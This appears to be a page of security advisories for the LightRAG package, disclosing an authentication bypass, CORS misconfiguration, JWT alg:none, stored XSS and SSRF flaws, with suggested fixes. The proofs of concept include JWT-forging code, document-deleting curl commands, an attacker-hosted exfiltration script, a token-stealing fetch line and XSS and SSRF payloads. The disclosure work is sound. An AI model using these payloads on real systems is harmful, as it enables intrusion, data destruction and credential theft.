            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 30, 2025

1.4.9.5 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
